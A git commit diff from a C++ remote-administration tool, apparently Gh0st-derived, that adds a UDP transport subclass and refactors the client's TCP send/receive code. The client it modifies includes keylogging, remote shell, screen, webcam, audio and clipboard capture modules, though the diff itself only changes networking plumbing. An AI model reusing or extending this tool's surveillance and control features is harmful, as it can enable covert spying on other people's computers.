layout: Reorganize TCP client/server code

This commit is contained in:
yuanyuanxiang
2025-06-29 21:25:59 +08:00
parent 4ca2b45242
commit 017a8c8fa2
65 changed files with 1074 additions and 843 deletions

View File

@@ -25,7 +25,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag
}
BYTE bToken = TOKEN_AUDIO_START;
m_ClientObject->OnServerSending((char*)&bToken, 1);
m_ClientObject->Send2Server((char*)&bToken, 1);
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
szPacket = NULL;
@@ -84,7 +84,7 @@ BOOL CAudioManager::SendRecordBuffer()
//<2F><><EFBFBD>ͳ<EFBFBD>ȥ
if (dwBufferSize > 0)
{
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1);
}
return dwReturn;
}

View File

@@ -11,7 +11,10 @@
#define CLIENT_PARALLEL_NUM 1
// Զ<>̵<EFBFBD>ַ
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION};
CONNECT_ADDRESS g_SETTINGS = {
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
FALSE, Startup_DLL, NULL, PROTO_TCP, RUNNING_RANDOM,
};
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
// <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp
@@ -480,7 +483,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
settings.SetServer(list[0].c_str(), settings.ServerPort());
}
State& bExit(app.g_bExit);
IOCPClient *ClientObject = new IOCPClient(bExit);
IOCPClient *ClientObject = NewNetClient(&settings, bExit);
CKernelManager* Manager = nullptr;
if (!app.m_bShared) {

View File

@@ -170,6 +170,7 @@
<ClCompile Include="Common.cpp" />
<ClCompile Include="FileManager.cpp" />
<ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" />
<ClCompile Include="KernelManager.cpp" />
<ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="keylogger.cpp" />
@@ -200,6 +201,7 @@
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" />
<ClInclude Include="KernelManager.h" />
<ClInclude Include="KeyboardManager.h" />
<ClInclude Include="keylogger.h" />

View File

@@ -98,6 +98,7 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
{
m_ServerAddr = {};
m_nHostPort = 0;
m_Manager = NULL;
#ifdef _WIN32
@@ -126,12 +127,7 @@ IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
IOCPClient::~IOCPClient()
{
m_bIsRunning = FALSE;
if (m_sClientSocket!=INVALID_SOCKET)
{
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
}
Disconnect();
if (m_hWorkThread!=NULL)
{
@@ -210,13 +206,11 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
}
#ifdef _WIN32
//<2F><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˵Ľṹ
sockaddr_in ServerAddr;
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
ServerAddr.sin_port = htons(port);
ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
m_ServerAddr.sin_family = AF_INET;
m_ServerAddr.sin_port = htons(port);
m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
if (connect(m_sClientSocket,(SOCKADDR *)&m_ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
{
if (m_sClientSocket!=INVALID_SOCKET)
{
@@ -226,12 +220,11 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
return FALSE;
}
#else
sockaddr_in ServerAddr = {};
ServerAddr.sin_family = AF_INET; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
ServerAddr.sin_port = htons(port);
m_ServerAddr.sin_family = AF_INET;
m_ServerAddr.sin_port = htons(port);
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
// ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6)
if (inet_pton(AF_INET, m_sCurIP.c_str(), &ServerAddr.sin_addr) <= 0) {
if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
Mprintf("Invalid address or address not supported\n");
return false;
}
@@ -244,7 +237,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
}
// <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) {
if (connect(m_sClientSocket, (struct sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr)) == -1) {
Mprintf("Connection failed\n");
close(m_sClientSocket);
m_sClientSocket = -1; // <20><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч
@@ -320,7 +313,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
}
else if (iRet > 0)
{
int iReceivedLength = recv(This->m_sClientSocket, szBuffer, MAX_RECV_BUFFER-1, 0);
int iReceivedLength = This->ReceiveData(szBuffer, MAX_RECV_BUFFER-1, 0);
if (iReceivedLength <= 0)
{
int a = WSAGetLastError();
@@ -496,7 +489,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
int j = 0;
for (; j < ulSendRetry; ++j)
{
iReturn = send(m_sClientSocket, Travel, ulSplitLength, 0);
iReturn = SendTo(Travel, ulSplitLength, 0);
if (iReturn > 0)
{
break;
@@ -516,7 +509,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
int j = 0;
for (; j < ulSendRetry; j++)
{
iReturn = send(m_sClientSocket, (char*)Travel,i,0);
iReturn = SendTo((char*)Travel,i,0);
if (iReturn > 0)
{

View File

@@ -2,12 +2,7 @@
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
#define AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#ifdef _WIN32
#include "stdafx.h"
@@ -64,28 +59,18 @@ class IOCPClient
public:
IOCPClient(State& bExit, bool exit_while_disconnect = false);
virtual ~IOCPClient();
SOCKET m_sClientSocket;
CBuffer m_CompressedBuffer;
BOOL m_bWorkThread;
HANDLE m_hWorkThread;
#if USING_CTX
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#endif
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
LOGIN_INFOR tmp = logInfo;
int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));
return iRet;
}
BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) {
return OnServerSending(szBuffer, ulOriginalLength);
}
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
void SetServerAddress(const char* szServerIP, unsigned short uPort) {
m_Domain = szServerIP ? szServerIP : "127.0.0.1";
@@ -101,14 +86,8 @@ public:
m_bIsRunning = FALSE;
}
BOOL m_bIsRunning;
BOOL m_bConnected;
char m_szPacketFlag[FLAG_LENGTH + 3];
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
VOID Disconnect();
VOID RunEventLoop(const BOOL &bCondition);
bool IsConnected() const { return m_bConnected == TRUE; }
BOOL Reconnect(void* manager) {
@@ -116,14 +95,43 @@ public:
if (manager) m_Manager = manager;
return ConnectServer(NULL, 0);
}
public:
State& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
DomainPool m_Domain;
std::string m_sCurIP;
int m_nHostPort;
bool m_exit_while_disconnect;
};
State& GetState() {
return g_bExit;
}
protected:
virtual int ReceiveData(char* buffer, int bufSize, int flags) {
// TCP<43><EFBFBD><E6B1BE><EFBFBD><EFBFBD> recv
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
}
virtual VOID Disconnect(); // <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> TCP/UDP
virtual int SendTo(const char* buf, int len, int flags) {
return ::send(m_sClientSocket, buf, len, flags);
}
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
#endif // !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
protected:
sockaddr_in m_ServerAddr;
char m_szPacketFlag[FLAG_LENGTH + 3];
SOCKET m_sClientSocket;
CBuffer m_CompressedBuffer;
BOOL m_bWorkThread;
HANDLE m_hWorkThread;
BOOL m_bIsRunning;
BOOL m_bConnected;
#if USING_CTX
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#endif
State& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
DomainPool m_Domain;
std::string m_sCurIP;
int m_nHostPort;
bool m_exit_while_disconnect;
};

60
client/IOCPUDPClient.cpp Normal file
View File

@@ -0,0 +1,60 @@
#include "IOCPUDPClient.h"
BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort) {
if (szServerIP != NULL && uPort != 0) {
SetServerAddress(szServerIP, uPort);
}
m_sCurIP = m_Domain.SelectIP();
unsigned short port = m_nHostPort;
// <20><><EFBFBD><EFBFBD> UDP socket
m_sClientSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (m_sClientSocket == INVALID_SOCKET) {
Mprintf("Failed to create UDP socket\n");
return FALSE;
}
// <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>
memset(&m_ServerAddr, 0, sizeof(m_ServerAddr));
m_ServerAddr.sin_family = AF_INET;
m_ServerAddr.sin_port = htons(port);
#ifdef _WIN32
m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
#else
if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
Mprintf("Invalid address or address not supported\n");
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
return FALSE;
}
#endif
// UDP<44><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD> connect()<29><>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> TCP keep-alive <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>
if (m_hWorkThread == NULL) {
#ifdef _WIN32
m_hWorkThread = (HANDLE)CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL);
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
#else
pthread_t id = 0;
m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
#endif
}
Mprintf("UDP client socket created and ready to send.\n");
m_bConnected = TRUE;
return TRUE;
}
int IOCPUDPClient::ReceiveData(char* buffer, int bufSize, int flags) {
sockaddr_in fromAddr;
int fromLen = sizeof(fromAddr);
return recvfrom(m_sClientSocket, buffer, bufSize - 1, flags, (sockaddr*)&fromAddr, &fromLen);
}
int IOCPUDPClient::SendTo(const char* buf, int len, int flags) {
return ::sendto(m_sClientSocket, buf, len, flags, (sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr));
}

16
client/IOCPUDPClient.h Normal file
View File

@@ -0,0 +1,16 @@
#pragma once
#include "IOCPClient.h"
class IOCPUDPClient : public IOCPClient
{
public:
IOCPUDPClient(State& bExit, bool exit_while_disconnect = false):IOCPClient(bExit, exit_while_disconnect){}
virtual ~IOCPUDPClient(){}
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override;
virtual int ReceiveData(char* buffer, int bufSize, int flags) override;
virtual int SendTo(const char* buf, int len, int flags) override;
};

View File

@@ -13,11 +13,22 @@
#include "common/dllRunner.h"
#include "server/2015Remote/pwd_gen.h"
#include <common/iniFile.h>
#include "IOCPUDPClient.h"
// UDP Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
if (conn->protoType == PROTO_TCP)
return new IOCPClient(bExit, exit_while_disconnect);
if (conn->protoType == PROTO_UDP)
return new IOCPUDPClient(bExit, exit_while_disconnect);
return NULL;
}
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
static ThreadInfo tKeyboard;
tKeyboard.run = FOREVER_RUN;
tKeyboard.p = new IOCPClient(bExit, false);
tKeyboard.p = NewNetClient(conn, bExit, false);
tKeyboard.conn = conn;
tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
return &tKeyboard;
@@ -350,7 +361,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_BYE:
{
BYTE bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
m_ClientObject->OnServerSending((char*)&bToken, 1);
m_ClientObject->Send2Server((char*)&bToken, 1);
g_bExit = S_CLIENT_EXIT;
Mprintf("======> Client exit \n");
break;
@@ -359,7 +370,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case SERVER_EXIT:
{
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
m_ClientObject->OnServerSending((char*)&bToken, 1);
m_ClientObject->Send2Server((char*)&bToken, 1);
g_bExit = S_SERVER_EXIT;
Mprintf("======> Server exit \n");
break;

View File

@@ -20,6 +20,9 @@
#include <TlHelp32.h>
#include "LoginServer.h"
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>þ<EFBFBD><C3BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʲôͨѶЭ<D1B6><D0AD>
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect = false);
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit);
class ActivityWindow {

View File

@@ -156,7 +156,7 @@ HDESK SelectDesktop(TCHAR* name)
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit)
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
{
m_bReady = TRUE;
m_ClientObject = ClientObject;
@@ -180,7 +180,7 @@ int CManager::Send(LPBYTE lpData, UINT nSize)
int nRet = 0;
try
{
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
nRet = m_ClientObject->Send2Server((char*)lpData, nSize);
}catch(...){
Mprintf("[ERROR] CManager::Send catch an error \n");
};

View File

@@ -13,7 +13,7 @@
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
BYTE bToken=TOKEN_REGEDIT;
m_ClientObject->OnServerSending((char*)&bToken, 1);
m_ClientObject->Send2Server((char*)&bToken, 1);
}
CRegisterManager::~CRegisterManager()
@@ -47,7 +47,7 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
char *szBuffer= Opt.FindPath();
if(szBuffer!=NULL)
{
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
//Ŀ¼<C4BF>µ<EFBFBD>Ŀ¼
LocalFree(szBuffer);
}
@@ -55,7 +55,7 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
if(szBuffer!=NULL)
{
//Ŀ¼<C4BF>µ<EFBFBD><C2B5>ļ<EFBFBD>
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
}
}

View File

@@ -263,7 +263,7 @@ VOID CScreenManager::SendBitMapInfo()
szBuffer[0] = TOKEN_BITMAPINFO;
//<2F><><EFBFBD>ォbmpλͼ<CEBB><EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
m_ClientObject->OnServerSending((char*)szBuffer, ulLength);
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
VirtualFree(szBuffer, 0, MEM_RELEASE);
}
@@ -360,7 +360,7 @@ VOID CScreenManager::SendClientClipboard()
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
::GlobalUnlock(hGlobal);
::CloseClipboard();
m_ClientObject->OnServerSending((char*)szBuffer, iPacketLength);
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
delete[] szBuffer;
}
@@ -374,7 +374,7 @@ VOID CScreenManager::SendFirstScreen()
return;
}
m_ClientObject->OnServerSending((char*)FirstScreenData, ulFirstSendLength + 1);
m_ClientObject->Send2Server((char*)FirstScreenData, ulFirstSendLength + 1);
}
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
@@ -391,7 +391,7 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
{
m_ClientObject->OnServerSending(szBuffer, ulNextSendLength);
m_ClientObject->Send2Server(szBuffer, ulNextSendLength);
}
std::string GetTitle(HWND hWnd) {

View File

@@ -26,7 +26,7 @@ VOID CServicesManager::SendServicesList()
if (szBuffer == NULL)
return;
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
}

View File

@@ -97,7 +97,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
m_hShellThreadHandle = pi.hThread;
BYTE bToken = TOKEN_SHELL_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
m_ClientObject->OnServerSending((char*)&bToken, 1);
m_ClientObject->Send2Server((char*)&bToken, 1);
WaitForDialogOpen();
@@ -131,7 +131,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength;
int length = int(dwReturn) - This->m_nCmdLength;
if (length > 0)
This->m_ClientObject->OnServerSending(pStart, length);
This->m_ClientObject->Send2Server(pStart, length);
LocalFree(szTotalBuffer);
}

View File

@@ -39,7 +39,7 @@ VOID CSystemManager::SendProcessList()
LPBYTE szBuffer = GetProcessList(); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (szBuffer == NULL)
return;
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
szBuffer = NULL;
@@ -51,7 +51,7 @@ void CSystemManager::SendWindowsList()
if (szBuffer == NULL)
return;
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͵õ<CDB5><C3B5>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͵õ<CDB5><C3B5>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>
LocalFree(szBuffer);
}

View File

@@ -27,7 +27,7 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager
g_Event = 0;
memset(g_Buffer, 0, sizeof(g_Buffer));
BYTE bToken = TOKEN_TALK_START;
m_ClientObject->OnServerSending((char*)&bToken, 1);
m_ClientObject->Send2Server((char*)&bToken, 1);
WaitForDialogOpen();
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
}
@@ -86,7 +86,7 @@ INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
{
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
BYTE bToken = TOKEN_TALKCMPLT;
if (This) This->m_ClientObject->OnServerSending((char*)&bToken, 1);
if (This) This->m_ClientObject->Send2Server((char*)&bToken, 1);
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
@@ -140,7 +140,7 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //ʱ
{
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
BYTE bToken = TOKEN_TALKCMPLT; // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
m_ClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
m_ClientObject->Send2Server((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
EndDialog(hDlg,0);
}
break;

View File

@@ -103,7 +103,7 @@ void CVideoManager::SendBitMapInfor()
BYTE szBuffer[dwBytesLength + 3] = { 0 };
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength);
}
BOOL CVideoManager::SendNextScreen()
@@ -149,7 +149,7 @@ BOOL CVideoManager::SendNextScreen()
}
m_CapVideo.SendEnd(); //copy send
m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen);
m_ClientObject->Send2Server((char*)lpBuffer, nPacketLen);
return TRUE;
}

View File

@@ -180,6 +180,7 @@
<ClCompile Include="Common.cpp" />
<ClCompile Include="FileManager.cpp" />
<ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" />
<ClCompile Include="KernelManager.cpp" />
<ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="keylogger.cpp" />
@@ -210,6 +211,7 @@
<ClInclude Include="domain_pool.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" />
<ClInclude Include="KernelManager.h" />
<ClInclude Include="KeyboardManager.h" />
<ClInclude Include="keylogger.h" />

View File

@@ -14,6 +14,7 @@
#include <io.h>
#include <direct.h>
#include <DbgHelp.h>
#include "IOCPUDPServer.h"
#pragma comment(lib, "Dbghelp.lib")
CMy2015RemoteApp* GetThisApp() {

View File

@@ -22,7 +22,7 @@ public:
CMy2015RemoteApp();
config *m_iniFile;
HANDLE m_Mutex;
IOCPServer* m_iocpServer;
Server* m_iocpServer;
CImageList m_pImageList_Large; //ϵͳ<CFB5><CDB3>ͼ<EFBFBD><CDBC>
CImageList m_pImageList_Small; //ϵͳСͼ<D0A1><CDBC>

View File

@@ -278,7 +278,7 @@ std::vector<DllInfo*> ReadAllDllFilesWindows(const std::string& dirPath) {
return result;
}
CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
CMy2015RemoteDlg::CMy2015RemoteDlg(Server* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
{
m_iocpServer = iocpServer;
m_hExit = CreateEvent(NULL, TRUE, FALSE, NULL);
@@ -1038,7 +1038,7 @@ void CMy2015RemoteDlg::Release(){
for(int Pos = 0; Pos < n; ++Pos)
{
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE));
m_iocpServer->Send2Client(ContextObject, &bToken, sizeof(BYTE));
}
LeaveCriticalSection(&m_cs);
Sleep(500);
@@ -1449,7 +1449,7 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
continue;
}
// 发送获得驱动器列表数据包
m_iocpServer->OnClientPreSending(ContextObject,szBuffer, ulLength);
m_iocpServer->Send2Client(ContextObject,szBuffer, ulLength);
}
LeaveCriticalSection(&m_cs);
}
@@ -1720,7 +1720,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
if (isClosed) {
return;
}
switch (ContextObject->InDeCompressedBuffer.GetBYTE(0))
unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
switch (cmd)
{
case TOKEN_GETVERSION: // 获取版本
{
@@ -1732,7 +1735,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
resp[0] = 0;
memcpy(resp+1, &dll, sizeof(DllSendData));
memcpy(resp+1+sizeof(DllSendData), bin->c_str() + 6, dll.DataSize);
m_iocpServer->OnClientPreSending(ContextObject, resp, 1 + sizeof(DllSendData) + dll.DataSize);
m_iocpServer->Send2Client(ContextObject, resp, 1 + sizeof(DllSendData) + dll.DataSize);
SAFE_DELETE_ARRAY(resp);
break;
}
@@ -1754,7 +1757,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
